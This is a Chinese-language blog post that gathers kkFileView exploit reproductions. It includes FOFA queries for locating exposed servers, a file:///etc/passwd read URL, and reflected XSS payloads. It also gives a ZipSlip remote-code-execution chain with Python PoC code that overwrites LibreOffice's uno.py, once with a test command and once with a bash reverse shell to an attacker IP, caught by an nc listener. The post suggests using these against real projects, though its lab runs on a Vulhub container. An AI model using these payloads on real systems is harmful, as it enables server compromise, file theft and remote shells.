kkfileview漏洞复现集合(含POC)
kkfileview漏洞复现集合(含POC)
项目实战中可能会遇到,可以通过以下方法打nday。fofa语法:
app="kkFileView" body="文件预览项目接入" title="kkFileView演示首页"
环境搭建:


http://192.168.184.201:8012/index

漏洞一:任意文件读取影响版本:
kkFileView <= v3.6.0,<= 4.0.0
1、访问url,发现最近发行记录版本为4.0.0,测试任意文件读取漏洞。

目标+/getCorsFile?urlPath=file:///etc/passwd

漏洞二:无回显SSRF漏洞
影响版本:kkFileView <= 3.6.0, <= 4.0.0


漏洞三:反射性xss漏洞
影响版本:kkFileView <= 4.1.0
/picturesPreview?urls=aHR0cDovL3d3dy5iYWlkdS5jb20vdGVzdC50eHQiPjxpbWcgc3JjPTExMSBvbmVycm9yPWFsZXJ0KDEpPg%3D%3D/onlinePreview?url=aHR0cDovLyI2BPHN2Zy9vbmxvYWQ9IndpbmRvdy5vbmVycm9yPWV2YWw7dGhyb3cnPWFsZXJ0XHgyODFceDI5JzsiPi90ZXN0LnBuZw%3D%3D/picturesPreview?urls=¤tUrl=Iik7YWxlcnQoIjExMQ==还原/picturesPreview?urls=http://www.baidu.com/test.txt"><img src=111 onerror=alert(1)>/onlinePreview?url=http://"6<img/onload="window.onerror=eval;throw'=alert(1)';">/test.png/picturesPreview?urls=¤tUrl=");alert("111

漏洞四:任意文件上传漏洞
影响版本:kkFileView=4.1.0文件上传xss漏洞


漏洞五:任意文件写入导致RCE
影响版本:4.2.0 <= kkFileviw <= 4.4.0beta(最新分支不受影响)
漏洞核心原理:
这个漏洞的核心是一个经典的 ZipSlip(压缩包路径穿越) 问题,结合了 kkFileView 的特定功能,最终导致了 RCE。
第一步:ZipSlip 任意文件写入
kkFileView 在处理压缩包预览时,会调用 CompressFileReader#unRar 方法进行解压。问题在于,解压时没有对压缩包内文件的路径进行安全检查。如果压缩包里的文件名包含 ../../../../ 这样的路径穿越字符,解压时就会按照这个路径,把文件写到服务器上的任意位置。
第二步:覆盖 LibreOffice 的 uno.py
kkFileView 在预览 .odt 等 Office 文档时,会调用 LibreOffice 将其转换为 PDF 格式。LibreOffice 启动时会自动加载其 Python 库中的 uno.py 文件。攻击者可以通过 ZipSlip 漏洞,用恶意 Python 代码覆盖这个 uno.py 文件。
第三步:触发 RCE
当 kkFileView 再次预览任意 .odt 文件时,LibreOffice 会被启动,并自动加载已经被篡改的 uno.py,从而执行攻击者写入的恶意代码,实现远程命令执行。
漏洞复现
1. 环境搭建
# 拉取 Vulhub 的 kkFileView 4.3.0 镜像
docker pull vulhub/kkfileview:4.3.0
# 启动容器
docker run -d -p 8012:8012 --name kkfileview vulhub/kkfileview:4.3.0
启动后,访问 http://<你的Kali IP>:8012 就能看到 kkFileView 的首页。
查看版本
2. 制作恶意 ZIP 压缩包
import zipfile if __name__ == "__main__": try: binary1 = b'vulhub' # 一个正常文件,用于生成缓存 # 恶意代码:创建一个文件证明命令执行成功 binary2 = b"import os\nos.system('touch /tmp/success')\n" zipFile = zipfile.ZipFile("test.zip", "a", zipfile.ZIP_DEFLATED) # 1. 写入一个正常文件,确保解压流程触发 zipFile.writestr("test", binary1) # 2. 写入路径穿越的恶意文件,覆盖 uno.py zipFile.writestr("../../../../../../../../../../../../../../../../../../../opt/libreoffice7.5/program/uno.py", binary2) zipFile.close() except IOError as e: raise e
#运行生成test.zippython poc.py

3. 上传并触发漏洞
上传 ZIP:在 kkFileView 首页,上传生成的 test.zip,然后点击其“预览”按钮。这会触发 ZipSlip 漏洞,恶意内容被写入 uno.py。


上传 ODT:随便创建一个内容为空的 .odt 文件(例如用 LibreOffice 新建一个空白文档并保存),上传到 kkFileView,并点击“预览”按钮。

4. 验证结果
进入 Docker 容器,检查 /tmp/success 文件是否被创建:
docker exec -it kkfileview ls -l /tmp/success
5、深入利用-弹计算机/反弹shell
反弹ip改成kali攻击机的。
import zipfile if __name__ == "__main__": try: binary1 = b'vulhub' # 反弹 shell 到 Kali binary2 = b"import os\nos.system('bash -c \"bash -i >& /dev/tcp/192.168.0.52/4444 0>&1\"')\n" zipFile = zipfile.ZipFile("test.zip", "a", zipfile.ZIP_DEFLATED) zipFile.writestr("test", binary1) zipFile.writestr( "../../../../../../../../../../../../../../../../../../../opt/libreoffice7.5/program/uno.py", binary2 ) zipFile.close() except IOError as e: raise e
kali监听
nc -lvnp 4444
重新生成test.zip压缩包上传预览,将ODT文件也上传预览。查看kali监听状态,反弹shell成功



浙公网安备 33010602011771号